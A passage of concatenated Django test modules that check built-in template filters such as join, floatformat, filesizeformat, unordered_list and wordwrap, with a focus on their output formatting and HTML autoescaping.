        add_header = lazy(lambda string: 'Header\n\n' + string, six.text_type)
        self.assertEqual(
            linebreaks_filter(add_header('line 1\r\nline2')),
            '<p>Header</p>\n\n<p>line 1<br />line2</p>'
        )






from django.test import SimpleTestCase

from ..utils import setup


class TruncatecharsTests(SimpleTestCase):

    @setup({'truncatechars01': '{{ a|truncatechars:5 }}'})
    def test_truncatechars01(self):
        output = self.engine.render_to_string('truncatechars01', {'a': 'Testing, testing'})
        self.assertEqual(output, 'Te...')

    @setup({'truncatechars02': '{{ a|truncatechars:7 }}'})
    def test_truncatechars02(self):
        output = self.engine.render_to_string('truncatechars02', {'a': 'Testing'})
        self.assertEqual(output, 'Testing')






from django.template.defaultfilters import join
from django.test import SimpleTestCase
from django.utils.safestring import mark_safe

from ..utils import setup


class JoinTests(SimpleTestCase):

    @setup({'join01': '{{ a|join:", " }}'})
    def test_join01(self):
        output = self.engine.render_to_string('join01', {'a': ['alpha', 'beta & me']})
        self.assertEqual(output, 'alpha, beta &amp; me')

    @setup({'join02': '{% autoescape off %}{{ a|join:", " }}{% endautoescape %}'})
    def test_join02(self):
        output = self.engine.render_to_string('join02', {'a': ['alpha', 'beta & me']})
        self.assertEqual(output, 'alpha, beta & me')

    @setup({'join03': '{{ a|join:" &amp; " }}'})
    def test_join03(self):
        output = self.engine.render_to_string('join03', {'a': ['alpha', 'beta & me']})
        self.assertEqual(output, 'alpha &amp; beta &amp; me')

    @setup({'join04': '{% autoescape off %}{{ a|join:" &amp; " }}{% endautoescape %}'})
    def test_join04(self):
        output = self.engine.render_to_string('join04', {'a': ['alpha', 'beta & me']})
        self.assertEqual(output, 'alpha &amp; beta & me')

    # #11377 Test that joining with unsafe joiners doesn't result in
    # unsafe strings
    @setup({'join05': '{{ a|join:var }}'})
    def test_join05(self):
        output = self.engine.render_to_string('join05', {'a': ['alpha', 'beta & me'], 'var': ' & '})
        self.assertEqual(output, 'alpha &amp; beta &amp; me')

    @setup({'join06': '{{ a|join:var }}'})
    def test_join06(self):
        output = self.engine.render_to_string('join06', {'a': ['alpha', 'beta & me'], 'var': mark_safe(' & ')})
        self.assertEqual(output, 'alpha & beta &amp; me')

    @setup({'join07': '{{ a|join:var|lower }}'})
    def test_join07(self):
        output = self.engine.render_to_string('join07', {'a': ['Alpha', 'Beta & me'], 'var': ' & '})
        self.assertEqual(output, 'alpha &amp; beta &amp; me')

    @setup({'join08': '{{ a|join:var|lower }}'})
    def test_join08(self):
        output = self.engine.render_to_string('join08', {'a': ['Alpha', 'Beta & me'], 'var': mark_safe(' & ')})
        self.assertEqual(output, 'alpha & beta &amp; me')


class FunctionTests(SimpleTestCase):

    def test_list(self):
        self.assertEqual(join([0, 1, 2], 'glue'), '0glue1glue2')

    def test_autoescape(self):
        self.assertEqual(
            join(['<a>', '<img>', '</a>'], '<br>'),
            '&lt;a&gt;&lt;br&gt;&lt;img&gt;&lt;br&gt;&lt;/a&gt;',
        )

    def test_autoescape_off(self):
        self.assertEqual(
            join(['<a>', '<img>', '</a>'], '<br>', autoescape=False),
            '<a>&lt;br&gt;<img>&lt;br&gt;</a>',
        )






from django.template.defaultfilters import stringformat
from django.test import SimpleTestCase
from django.utils.safestring import mark_safe

from ..utils import setup


class StringformatTests(SimpleTestCase):
    """
    Notice that escaping is applied *after* any filters, so the string
    formatting here only needs to deal with pre-escaped characters.
    """

    @setup({
        'stringformat01':
        '{% autoescape off %}.{{ a|stringformat:"5s" }}. .{{ b|stringformat:"5s" }}.{% endautoescape %}'
    })
    def test_stringformat01(self):
        output = self.engine.render_to_string('stringformat01', {'a': 'a<b', 'b': mark_safe('a<b')})
        self.assertEqual(output, '.  a<b. .  a<b.')

    @setup({'stringformat02': '.{{ a|stringformat:"5s" }}. .{{ b|stringformat:"5s" }}.'})
    def test_stringformat02(self):
        output = self.engine.render_to_string('stringformat02', {'a': 'a<b', 'b': mark_safe('a<b')})
        self.assertEqual(output, '.  a&lt;b. .  a<b.')


class FunctionTests(SimpleTestCase):

    def test_format(self):
        self.assertEqual(stringformat(1, '03d'), '001')

    def test_invalid(self):
        self.assertEqual(stringformat(1, 'z'), '')






from django.template.defaultfilters import addslashes
from django.test import SimpleTestCase
from django.utils.safestring import mark_safe

from ..utils import setup


class AddslashesTests(SimpleTestCase):

    @setup({'addslashes01': '{% autoescape off %}{{ a|addslashes }} {{ b|addslashes }}{% endautoescape %}'})
    def test_addslashes01(self):
        output = self.engine.render_to_string('addslashes01', {"a": "<a>'", "b": mark_safe("<a>'")})
        self.assertEqual(output, r"<a>\' <a>\'")

    @setup({'addslashes02': '{{ a|addslashes }} {{ b|addslashes }}'})
    def test_addslashes02(self):
        output = self.engine.render_to_string('addslashes02', {"a": "<a>'", "b": mark_safe("<a>'")})
        self.assertEqual(output, r"&lt;a&gt;\&#39; <a>\'")


class FunctionTests(SimpleTestCase):

    def test_quotes(self):
        self.assertEqual(
            addslashes('"double quotes" and \'single quotes\''),
            '\\"double quotes\\" and \\\'single quotes\\\'',
        )

    def test_backslashes(self):
        self.assertEqual(addslashes(r'\ : backslashes, too'), '\\\\ : backslashes, too')

    def test_non_string_input(self):
        self.assertEqual(addslashes(123), '123')






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from decimal import Decimal, localcontext
from unittest import expectedFailure

from django.template.defaultfilters import floatformat
from django.test import SimpleTestCase
from django.utils import six
from django.utils.safestring import mark_safe

from ..utils import setup


class FloatformatTests(SimpleTestCase):

    @setup({'floatformat01': '{% autoescape off %}{{ a|floatformat }} {{ b|floatformat }}{% endautoescape %}'})
    def test_floatformat01(self):
        output = self.engine.render_to_string('floatformat01', {"a": "1.42", "b": mark_safe("1.42")})
        self.assertEqual(output, "1.4 1.4")

    @setup({'floatformat02': '{{ a|floatformat }} {{ b|floatformat }}'})
    def test_floatformat02(self):
        output = self.engine.render_to_string('floatformat02', {"a": "1.42", "b": mark_safe("1.42")})
        self.assertEqual(output, "1.4 1.4")


class FunctionTests(SimpleTestCase):

    def test_inputs(self):
        self.assertEqual(floatformat(7.7), '7.7')
        self.assertEqual(floatformat(7.0), '7')
        self.assertEqual(floatformat(0.7), '0.7')
        self.assertEqual(floatformat(0.07), '0.1')
        self.assertEqual(floatformat(0.007), '0.0')
        self.assertEqual(floatformat(0.0), '0')
        self.assertEqual(floatformat(7.7, 3), '7.700')
        self.assertEqual(floatformat(6.000000, 3), '6.000')
        self.assertEqual(floatformat(6.200000, 3), '6.200')
        self.assertEqual(floatformat(6.200000, -3), '6.200')
        self.assertEqual(floatformat(13.1031, -3), '13.103')
        self.assertEqual(floatformat(11.1197, -2), '11.12')
        self.assertEqual(floatformat(11.0000, -2), '11')
        self.assertEqual(floatformat(11.000001, -2), '11.00')
        self.assertEqual(floatformat(8.2798, 3), '8.280')
        self.assertEqual(floatformat(5555.555, 2), '5555.56')
        self.assertEqual(floatformat(001.3000, 2), '1.30')
        self.assertEqual(floatformat(0.12345, 2), '0.12')
        self.assertEqual(floatformat(Decimal('555.555'), 2), '555.56')
        self.assertEqual(floatformat(Decimal('09.000')), '9')
        self.assertEqual(floatformat('foo'), '')
        self.assertEqual(floatformat(13.1031, 'bar'), '13.1031')
        self.assertEqual(floatformat(18.125, 2), '18.13')
        self.assertEqual(floatformat('foo', 'bar'), '')
        self.assertEqual(floatformat('¿Cómo esta usted?'), '')
        self.assertEqual(floatformat(None), '')

    def test_zero_values(self):
        """
        Check that we're not converting to scientific notation.
        """
        self.assertEqual(floatformat(0, 6), '0.000000')
        self.assertEqual(floatformat(0, 7), '0.0000000')
        self.assertEqual(floatformat(0, 10), '0.0000000000')
        self.assertEqual(floatformat(0.000000000000000000015, 20),
                         '0.00000000000000000002')

    def test_infinity(self):
        pos_inf = float(1e30000)
        self.assertEqual(floatformat(pos_inf), six.text_type(pos_inf))

        neg_inf = float(-1e30000)
        self.assertEqual(floatformat(neg_inf), six.text_type(neg_inf))

        nan = pos_inf / pos_inf
        self.assertEqual(floatformat(nan), six.text_type(nan))

    def test_float_dunder_method(self):
        class FloatWrapper(object):
            def __init__(self, value):
                self.value = value

            def __float__(self):
                return self.value

        self.assertEqual(floatformat(FloatWrapper(11.000001), -2), '11.00')

    def test_low_decimal_precision(self):
        """
        #15789
        """
        with localcontext() as ctx:
            ctx.prec = 2
            self.assertEqual(floatformat(1.2345, 2), '1.23')
            self.assertEqual(floatformat(15.2042, -3), '15.204')
            self.assertEqual(floatformat(1.2345, '2'), '1.23')
            self.assertEqual(floatformat(15.2042, '-3'), '15.204')
            self.assertEqual(floatformat(Decimal('1.2345'), 2), '1.23')
            self.assertEqual(floatformat(Decimal('15.2042'), -3), '15.204')

    def test_many_zeroes(self):
        self.assertEqual(floatformat(1.00000000000000015, 16), '1.0000000000000002')

    if six.PY2:
        # The above test fails because of Python 2's float handling. Floats
        # with many zeroes after the decimal point should be passed in as
        # another type such as unicode or Decimal.
        test_many_zeroes = expectedFailure(test_many_zeroes)






from __future__ import unicode_literals

from django.template.defaultfilters import filesizeformat
from django.test import SimpleTestCase
from django.utils import translation


class FunctionTests(SimpleTestCase):

    def test_formats(self):
        self.assertEqual(filesizeformat(1023), '1023\xa0bytes')
        self.assertEqual(filesizeformat(1024), '1.0\xa0KB')
        self.assertEqual(filesizeformat(10 * 1024), '10.0\xa0KB')
        self.assertEqual(filesizeformat(1024 * 1024 - 1), '1024.0\xa0KB')
        self.assertEqual(filesizeformat(1024 * 1024), '1.0\xa0MB')
        self.assertEqual(filesizeformat(1024 * 1024 * 50), '50.0\xa0MB')
        self.assertEqual(filesizeformat(1024 * 1024 * 1024 - 1), '1024.0\xa0MB')
        self.assertEqual(filesizeformat(1024 * 1024 * 1024), '1.0\xa0GB')
        self.assertEqual(filesizeformat(1024 * 1024 * 1024 * 1024), '1.0\xa0TB')
        self.assertEqual(filesizeformat(1024 * 1024 * 1024 * 1024 * 1024), '1.0\xa0PB')
        self.assertEqual(filesizeformat(1024 * 1024 * 1024 * 1024 * 1024 * 2000), '2000.0\xa0PB')
        self.assertEqual(filesizeformat(complex(1, -1)), '0\xa0bytes')
        self.assertEqual(filesizeformat(""), '0\xa0bytes')
        self.assertEqual(filesizeformat("\N{GREEK SMALL LETTER ALPHA}"), '0\xa0bytes')

    def test_localized_formats(self):
        with self.settings(USE_L10N=True), translation.override('de'):
            self.assertEqual(filesizeformat(1023), '1023\xa0Bytes')
            self.assertEqual(filesizeformat(1024), '1,0\xa0KB')
            self.assertEqual(filesizeformat(10 * 1024), '10,0\xa0KB')
            self.assertEqual(filesizeformat(1024 * 1024 - 1), '1024,0\xa0KB')
            self.assertEqual(filesizeformat(1024 * 1024), '1,0\xa0MB')
            self.assertEqual(filesizeformat(1024 * 1024 * 50), '50,0\xa0MB')
            self.assertEqual(filesizeformat(1024 * 1024 * 1024 - 1), '1024,0\xa0MB')
            self.assertEqual(filesizeformat(1024 * 1024 * 1024), '1,0\xa0GB')
            self.assertEqual(filesizeformat(1024 * 1024 * 1024 * 1024), '1,0\xa0TB')
            self.assertEqual(filesizeformat(1024 * 1024 * 1024 * 1024 * 1024), '1,0\xa0PB')
            self.assertEqual(filesizeformat(1024 * 1024 * 1024 * 1024 * 1024 * 2000), '2000,0\xa0PB')
            self.assertEqual(filesizeformat(complex(1, -1)), '0\xa0Bytes')
            self.assertEqual(filesizeformat(""), '0\xa0Bytes')
            self.assertEqual(filesizeformat("\N{GREEK SMALL LETTER ALPHA}"), '0\xa0Bytes')

    def test_negative_numbers(self):
        self.assertEqual(filesizeformat(-100), '-100\xa0bytes')
        self.assertEqual(filesizeformat(-1024 * 1024 * 50), '-50.0\xa0MB')






from django.test import SimpleTestCase

from ..utils import setup


class SafeseqTests(SimpleTestCase):

    @setup({'safeseq01': '{{ a|join:", " }} -- {{ a|safeseq|join:", " }}'})
    def test_safeseq01(self):
        output = self.engine.render_to_string('safeseq01', {'a': ['&', '<']})
        self.assertEqual(output, '&amp;, &lt; -- &, <')

    @setup({'safeseq02': '{% autoescape off %}{{ a|join:", " }} -- {{ a|safeseq|join:", " }}{% endautoescape %}'})
    def test_safeseq02(self):
        output = self.engine.render_to_string('safeseq02', {'a': ['&', '<']})
        self.assertEqual(output, '&, < -- &, <')






from django.template.defaultfilters import linenumbers
from django.test import SimpleTestCase
from django.utils.safestring import mark_safe

from ..utils import setup


class LinenumbersTests(SimpleTestCase):
    """
    The contents of "linenumbers" is escaped according to the current
    autoescape setting.
    """

    @setup({'linenumbers01': '{{ a|linenumbers }} {{ b|linenumbers }}'})
    def test_linenumbers01(self):
        output = self.engine.render_to_string(
            'linenumbers01',
            {'a': 'one\n<two>\nthree', 'b': mark_safe('one\n&lt;two&gt;\nthree')},
        )
        self.assertEqual(output, '1. one\n2. &lt;two&gt;\n3. three 1. one\n2. &lt;two&gt;\n3. three')

    @setup({'linenumbers02': '{% autoescape off %}{{ a|linenumbers }} {{ b|linenumbers }}{% endautoescape %}'})
    def test_linenumbers02(self):
        output = self.engine.render_to_string(
            'linenumbers02',
            {'a': 'one\n<two>\nthree', 'b': mark_safe('one\n&lt;two&gt;\nthree')},
        )
        self.assertEqual(output, '1. one\n2. <two>\n3. three 1. one\n2. &lt;two&gt;\n3. three')


class FunctionTests(SimpleTestCase):

    def test_linenumbers(self):
        self.assertEqual(linenumbers('line 1\nline 2'), '1. line 1\n2. line 2')

    def test_linenumbers2(self):
        self.assertEqual(
            linenumbers('\n'.join(['x'] * 10)),
            '01. x\n02. x\n03. x\n04. x\n05. x\n06. x\n07. x\n08. x\n09. x\n10. x',
        )

    def test_non_string_input(self):
        self.assertEqual(linenumbers(123), '1. 123')

    def test_autoescape(self):
        self.assertEqual(
            linenumbers('foo\n<a>bar</a>\nbuz'),
            '1. foo\n2. &lt;a&gt;bar&lt;/a&gt;\n3. buz',
        )

    def test_autoescape_off(self):
        self.assertEqual(
            linenumbers('foo\n<a>bar</a>\nbuz', autoescape=False),
            '1. foo\n2. <a>bar</a>\n3. buz'
        )






from django.template.defaultfilters import unordered_list
from django.test import SimpleTestCase
from django.utils.encoding import python_2_unicode_compatible
from django.utils.safestring import mark_safe

from ..utils import setup


class UnorderedListTests(SimpleTestCase):

    @setup({'unordered_list01': '{{ a|unordered_list }}'})
    def test_unordered_list01(self):
        output = self.engine.render_to_string('unordered_list01', {'a': ['x>', ['<y']]})
        self.assertEqual(output, '\t<li>x&gt;\n\t<ul>\n\t\t<li>&lt;y</li>\n\t</ul>\n\t</li>')

    @setup({'unordered_list02': '{% autoescape off %}{{ a|unordered_list }}{% endautoescape %}'})
    def test_unordered_list02(self):
        output = self.engine.render_to_string('unordered_list02', {'a': ['x>', ['<y']]})
        self.assertEqual(output, '\t<li>x>\n\t<ul>\n\t\t<li><y</li>\n\t</ul>\n\t</li>')

    @setup({'unordered_list03': '{{ a|unordered_list }}'})
    def test_unordered_list03(self):
        output = self.engine.render_to_string('unordered_list03', {'a': ['x>', [mark_safe('<y')]]})
        self.assertEqual(output, '\t<li>x&gt;\n\t<ul>\n\t\t<li><y</li>\n\t</ul>\n\t</li>')

    @setup({'unordered_list04': '{% autoescape off %}{{ a|unordered_list }}{% endautoescape %}'})
    def test_unordered_list04(self):
        output = self.engine.render_to_string('unordered_list04', {'a': ['x>', [mark_safe('<y')]]})
        self.assertEqual(output, '\t<li>x>\n\t<ul>\n\t\t<li><y</li>\n\t</ul>\n\t</li>')

    @setup({'unordered_list05': '{% autoescape off %}{{ a|unordered_list }}{% endautoescape %}'})
    def test_unordered_list05(self):
        output = self.engine.render_to_string('unordered_list05', {'a': ['x>', ['<y']]})
        self.assertEqual(output, '\t<li>x>\n\t<ul>\n\t\t<li><y</li>\n\t</ul>\n\t</li>')


class FunctionTests(SimpleTestCase):

    def test_list(self):
        self.assertEqual(unordered_list(['item 1', 'item 2']), '\t<li>item 1</li>\n\t<li>item 2</li>')

    def test_nested(self):
        self.assertEqual(
            unordered_list(['item 1', ['item 1.1']]),
            '\t<li>item 1\n\t<ul>\n\t\t<li>item 1.1</li>\n\t</ul>\n\t</li>',
        )

    def test_nested2(self):
        self.assertEqual(
            unordered_list(['item 1', ['item 1.1', 'item1.2'], 'item 2']),
            '\t<li>item 1\n\t<ul>\n\t\t<li>item 1.1</li>\n\t\t<li>item1.2'
            '</li>\n\t</ul>\n\t</li>\n\t<li>item 2</li>',
        )

    def test_nested3(self):
        self.assertEqual(
            unordered_list(['item 1', 'item 2', ['item 2.1']]),
            '\t<li>item 1</li>\n\t<li>item 2\n\t<ul>\n\t\t<li>item 2.1'
            '</li>\n\t</ul>\n\t</li>',
        )

    def test_nested_multiple(self):
        self.assertEqual(
            unordered_list(['item 1', ['item 1.1', ['item 1.1.1', ['item 1.1.1.1']]]]),
            '\t<li>item 1\n\t<ul>\n\t\t<li>item 1.1\n\t\t<ul>\n\t\t\t<li>'
            'item 1.1.1\n\t\t\t<ul>\n\t\t\t\t<li>item 1.1.1.1</li>\n\t\t\t'
            '</ul>\n\t\t\t</li>\n\t\t</ul>\n\t\t</li>\n\t</ul>\n\t</li>',
        )

    def test_nested_multiple2(self):
        self.assertEqual(
            unordered_list(['States', ['Kansas', ['Lawrence', 'Topeka'], 'Illinois']]),
            '\t<li>States\n\t<ul>\n\t\t<li>Kansas\n\t\t<ul>\n\t\t\t<li>'
            'Lawrence</li>\n\t\t\t<li>Topeka</li>\n\t\t</ul>\n\t\t</li>'
            '\n\t\t<li>Illinois</li>\n\t</ul>\n\t</li>',
        )

    def test_autoescape(self):
        self.assertEqual(
            unordered_list(['<a>item 1</a>', 'item 2']),
            '\t<li>&lt;a&gt;item 1&lt;/a&gt;</li>\n\t<li>item 2</li>',
        )

    def test_autoescape_off(self):
        self.assertEqual(
            unordered_list(['<a>item 1</a>', 'item 2'], autoescape=False),
            '\t<li><a>item 1</a></li>\n\t<li>item 2</li>',
        )

    def test_ulitem(self):
        @python_2_unicode_compatible
        class ULItem(object):
            def __init__(self, title):
                self.title = title

            def __str__(self):
                return 'ulitem-%s' % str(self.title)

        a = ULItem('a')
        b = ULItem('b')
        c = ULItem('<a>c</a>')
        self.assertEqual(
            unordered_list([a, b, c]),
            '\t<li>ulitem-a</li>\n\t<li>ulitem-b</li>\n\t<li>ulitem-&lt;a&gt;c&lt;/a&gt;</li>',
        )

        def item_generator():
            yield a
            yield b
            yield c

        self.assertEqual(
            unordered_list(item_generator()),
            '\t<li>ulitem-a</li>\n\t<li>ulitem-b</li>\n\t<li>ulitem-&lt;a&gt;c&lt;/a&gt;</li>',
        )

    def test_ulitem_autoescape_off(self):
        @python_2_unicode_compatible
        class ULItem(object):
            def __init__(self, title):
                self.title = title

            def __str__(self):
                return 'ulitem-%s' % str(self.title)

        a = ULItem('a')
        b = ULItem('b')
        c = ULItem('<a>c</a>')
        self.assertEqual(
            unordered_list([a, b, c], autoescape=False),
            '\t<li>ulitem-a</li>\n\t<li>ulitem-b</li>\n\t<li>ulitem-<a>c</a></li>',
        )

        def item_generator():
            yield a
            yield b
            yield c

        self.assertEqual(
            unordered_list(item_generator(), autoescape=False),
            '\t<li>ulitem-a</li>\n\t<li>ulitem-b</li>\n\t<li>ulitem-<a>c</a></li>',
        )






from django.template.defaultfilters import dictsort
from django.test import SimpleTestCase


class FunctionTests(SimpleTestCase):

    def test_sort(self):
        sorted_dicts = dictsort(
            [{'age': 23, 'name': 'Barbara-Ann'},
             {'age': 63, 'name': 'Ra Ra Rasputin'},
             {'name': 'Jonny B Goode', 'age': 18}],
            'age',
        )

        self.assertEqual(
            [sorted(dict.items()) for dict in sorted_dicts],
            [[('age', 18), ('name', 'Jonny B Goode')],
             [('age', 23), ('name', 'Barbara-Ann')],
             [('age', 63), ('name', 'Ra Ra Rasputin')]],
        )

    def test_dictsort_complex_sorting_key(self):
        """
        Since dictsort uses template.Variable under the hood, it can sort
        on keys like 'foo.bar'.
        """
        data = [
            {'foo': {'bar': 1, 'baz': 'c'}},
            {'foo': {'bar': 2, 'baz': 'b'}},
            {'foo': {'bar': 3, 'baz': 'a'}},
        ]
        sorted_data = dictsort(data, 'foo.baz')

        self.assertEqual([d['foo']['bar'] for d in sorted_data], [3, 2, 1])

    def test_sort_list_of_tuples(self):
        data = [('a', '42'), ('c', 'string'), ('b', 'foo')]
        expected = [('a', '42'), ('b', 'foo'), ('c', 'string')]
        self.assertEqual(dictsort(data, 0), expected)

    def test_sort_list_of_tuple_like_dicts(self):
        data = [
            {'0': 'a', '1': '42'},
            {'0': 'c', '1': 'string'},
            {'0': 'b', '1': 'foo'},
        ]
        expected = [
            {'0': 'a', '1': '42'},
            {'0': 'b', '1': 'foo'},
            {'0': 'c', '1': 'string'},
        ]
        self.assertEqual(dictsort(data, '0'), expected)

    def test_invalid_values(self):
        """
        If dictsort is passed something other than a list of dictionaries,
        fail silently.
        """
        self.assertEqual(dictsort([1, 2, 3], 'age'), '')
        self.assertEqual(dictsort('Hello!', 'age'), '')
        self.assertEqual(dictsort({'a': 1}, 'age'), '')
        self.assertEqual(dictsort(1, 'age'), '')






from django.template.defaultfilters import length_is
from django.test import SimpleTestCase

from ..utils import setup


class LengthIsTests(SimpleTestCase):

    @setup({'length_is01': '{% if some_list|length_is:"4" %}Four{% endif %}'})
    def test_length_is01(self):
        output = self.engine.render_to_string('length_is01', {'some_list': ['4', None, True, {}]})
        self.assertEqual(output, 'Four')

    @setup({'length_is02': '{% if some_list|length_is:"4" %}Four{% else %}Not Four{% endif %}'})
    def test_length_is02(self):
        output = self.engine.render_to_string('length_is02', {'some_list': ['4', None, True, {}, 17]})
        self.assertEqual(output, 'Not Four')

    @setup({'length_is03': '{% if mystring|length_is:"4" %}Four{% endif %}'})
    def test_length_is03(self):
        output = self.engine.render_to_string('length_is03', {'mystring': 'word'})
        self.assertEqual(output, 'Four')

    @setup({'length_is04': '{% if mystring|length_is:"4" %}Four{% else %}Not Four{% endif %}'})
    def test_length_is04(self):
        output = self.engine.render_to_string('length_is04', {'mystring': 'Python'})
        self.assertEqual(output, 'Not Four')

    @setup({'length_is05': '{% if mystring|length_is:"4" %}Four{% else %}Not Four{% endif %}'})
    def test_length_is05(self):
        output = self.engine.render_to_string('length_is05', {'mystring': ''})
        self.assertEqual(output, 'Not Four')

    @setup({'length_is06': '{% with var|length as my_length %}{{ my_length }}{% endwith %}'})
    def test_length_is06(self):
        output = self.engine.render_to_string('length_is06', {'var': 'django'})
        self.assertEqual(output, '6')

    # Boolean return value from length_is should not be coerced to a string
    @setup({'length_is07': '{% if "X"|length_is:0 %}Length is 0{% else %}Length not 0{% endif %}'})
    def test_length_is07(self):
        output = self.engine.render_to_string('length_is07', {})
        self.assertEqual(output, 'Length not 0')

    @setup({'length_is08': '{% if "X"|length_is:1 %}Length is 1{% else %}Length not 1{% endif %}'})
    def test_length_is08(self):
        output = self.engine.render_to_string('length_is08', {})
        self.assertEqual(output, 'Length is 1')

    # Invalid uses that should fail silently.
    @setup({'length_is09': '{{ var|length_is:"fish" }}'})
    def test_length_is09(self):
        output = self.engine.render_to_string('length_is09', {'var': 'django'})
        self.assertEqual(output, '')

    @setup({'length_is10': '{{ int|length_is:"1" }}'})
    def test_length_is10(self):
        output = self.engine.render_to_string('length_is10', {'int': 7})
        self.assertEqual(output, '')

    @setup({'length_is11': '{{ none|length_is:"1" }}'})
    def test_length_is11(self):
        output = self.engine.render_to_string('length_is11', {'none': None})
        self.assertEqual(output, '')


class FunctionTests(SimpleTestCase):

    def test_empty_list(self):
        self.assertIs(length_is([], 0), True)
        self.assertIs(length_is([], 1), False)

    def test_string(self):
        self.assertIs(length_is('a', 1), True)
        self.assertIs(length_is('a', 10), False)






from django.template.defaultfilters import wordcount
from django.test import SimpleTestCase
from django.utils.safestring import mark_safe

from ..utils import setup


class WordcountTests(SimpleTestCase):

    @setup({'wordcount01': '{% autoescape off %}{{ a|wordcount }} {{ b|wordcount }}{% endautoescape %}'})
    def test_wordcount01(self):
        output = self.engine.render_to_string('wordcount01', {'a': 'a & b', 'b': mark_safe('a &amp; b')})
        self.assertEqual(output, '3 3')

    @setup({'wordcount02': '{{ a|wordcount }} {{ b|wordcount }}'})
    def test_wordcount02(self):
        output = self.engine.render_to_string('wordcount02', {'a': 'a & b', 'b': mark_safe('a &amp; b')})
        self.assertEqual(output, '3 3')


class FunctionTests(SimpleTestCase):

    def test_empty_string(self):
        self.assertEqual(wordcount(''), 0)

    def test_count_one(self):
        self.assertEqual(wordcount('oneword'), 1)

    def test_count_multiple(self):
        self.assertEqual(wordcount('lots of words'), 3)

    def test_non_string_input(self):
        self.assertEqual(wordcount(123), 1)






from django.test import SimpleTestCase
from django.utils.safestring import mark_safe

from ..utils import setup


class LastTests(SimpleTestCase):

    @setup({'last01': '{{ a|last }} {{ b|last }}'})
    def test_last01(self):
        output = self.engine.render_to_string('last01', {"a": ["x", "a&b"], "b": ["x", mark_safe("a&b")]})
        self.assertEqual(output, "a&amp;b a&b")

    @setup({'last02': '{% autoescape off %}{{ a|last }} {{ b|last }}{% endautoescape %}'})
    def test_last02(self):
        output = self.engine.render_to_string('last02', {"a": ["x", "a&b"], "b": ["x", mark_safe("a&b")]})
        self.assertEqual(output, "a&b a&b")






from django.template.defaultfilters import truncatewords
from django.test import SimpleTestCase
from django.utils.safestring import mark_safe

from ..utils import setup


class TruncatewordsTests(SimpleTestCase):

    @setup({
        'truncatewords01': '{% autoescape off %}{{ a|truncatewords:"2" }} {{ b|truncatewords:"2"}}{% endautoescape %}'
    })
    def test_truncatewords01(self):
        output = self.engine.render_to_string(
            'truncatewords01', {'a': 'alpha & bravo', 'b': mark_safe('alpha &amp; bravo')}
        )
        self.assertEqual(output, 'alpha & ... alpha &amp; ...')

    @setup({'truncatewords02': '{{ a|truncatewords:"2" }} {{ b|truncatewords:"2"}}'})
    def test_truncatewords02(self):
        output = self.engine.render_to_string(
            'truncatewords02', {'a': 'alpha & bravo', 'b': mark_safe('alpha &amp; bravo')}
        )
        self.assertEqual(output, 'alpha &amp; ... alpha &amp; ...')


class FunctionTests(SimpleTestCase):

    def test_truncate(self):
        self.assertEqual(truncatewords('A sentence with a few words in it', 1), 'A ...')

    def test_truncate2(self):
        self.assertEqual(
            truncatewords('A sentence with a few words in it', 5),
            'A sentence with a few ...',
        )

    def test_overtruncate(self):
        self.assertEqual(
            truncatewords('A sentence with a few words in it', 100),
            'A sentence with a few words in it',
        )

    def test_invalid_number(self):
        self.assertEqual(
            truncatewords('A sentence with a few words in it', 'not a number'),
            'A sentence with a few words in it',
        )

    def test_non_string_input(self):
        self.assertEqual(truncatewords(123, 2), '123')






from django.template.defaultfilters import phone2numeric_filter
from django.test import SimpleTestCase
from django.utils.safestring import mark_safe

from ..utils import setup


class Phone2numericTests(SimpleTestCase):

    @setup({'phone2numeric01': '{{ a|phone2numeric }} {{ b|phone2numeric }}'})
    def test_phone2numeric01(self):
        output = self.engine.render_to_string(
            'phone2numeric01',
            {'a': '<1-800-call-me>', 'b': mark_safe('<1-800-call-me>')},
        )
        self.assertEqual(output, '&lt;1-800-2255-63&gt; <1-800-2255-63>')

    @setup({'phone2numeric02': '{% autoescape off %}{{ a|phone2numeric }} {{ b|phone2numeric }}{% endautoescape %}'})
    def test_phone2numeric02(self):
        output = self.engine.render_to_string(
            'phone2numeric02',
            {'a': '<1-800-call-me>', 'b': mark_safe('<1-800-call-me>')},
        )
        self.assertEqual(output, '<1-800-2255-63> <1-800-2255-63>')

    @setup({'phone2numeric03': '{{ a|phone2numeric }}'})
    def test_phone2numeric03(self):
        output = self.engine.render_to_string(
            'phone2numeric03',
            {'a': 'How razorback-jumping frogs can level six piqued gymnasts!'},
        )
        self.assertEqual(
            output,
            '469 729672225-5867464 37647 226 53835 749 747833 49662787!'
        )


class FunctionTests(SimpleTestCase):

    def test_phone2numeric(self):
        self.assertEqual(phone2numeric_filter('0800 flowers'), '0800 3569377')






from django.template.defaultfilters import yesno
from django.test import SimpleTestCase


class FunctionTests(SimpleTestCase):

    def test_true(self):
        self.assertEqual(yesno(True), 'yes')

    def test_false(self):
        self.assertEqual(yesno(False), 'no')

    def test_none(self):
        self.assertEqual(yesno(None), 'maybe')

    def test_true_arguments(self):
        self.assertEqual(yesno(True, 'certainly,get out of town,perhaps'), 'certainly')

    def test_false_arguments(self):
        self.assertEqual(yesno(False, 'certainly,get out of town,perhaps'), 'get out of town')

    def test_none_two_arguments(self):
        self.assertEqual(yesno(None, 'certainly,get out of town'), 'get out of town')

    def test_none_three_arguments(self):
        self.assertEqual(yesno(None, 'certainly,get out of town,perhaps'), 'perhaps')






from django.template.defaultfilters import wordwrap
from django.test import SimpleTestCase
from django.utils.functional import lazystr
from django.utils.safestring import mark_safe

from ..utils import setup


class WordwrapTests(SimpleTestCase):

    @setup({
        'wordwrap01': '{% autoescape off %}{{ a|wordwrap:"3" }} {{ b|wordwrap:"3" }}{% endautoescape %}'
    })
    def test_wordwrap01(self):
        output = self.engine.render_to_string('wordwrap01', {'a': 'a & b', 'b': mark_safe('a & b')})
        self.assertEqual(output, 'a &\nb a &\nb')

    @setup({'wordwrap02': '{{ a|wordwrap:"3" }} {{ b|wordwrap:"3" }}'})
    def test_wordwrap02(self):
        output = self.engine.render_to_string('wordwrap02', {'a': 'a & b', 'b': mark_safe('a & b')})
        self.assertEqual(output, 'a &amp;\nb a &\nb')


class FunctionTests(SimpleTestCase):

    def test_wrap(self):
        self.assertEqual(
            wordwrap('this is a long paragraph of text that really needs to be wrapped I\'m afraid', 14),
            'this is a long\nparagraph of\ntext that\nreally needs\nto be wrapped\nI\'m afraid',
        )

    def test_indent(self):
        self.assertEqual(
            wordwrap('this is a short paragraph of text.\n  But this line should be indented', 14),
            'this is a\nshort\nparagraph of\ntext.\n  But this\nline should be\nindented',
        )

    def test_indent2(self):
        self.assertEqual(
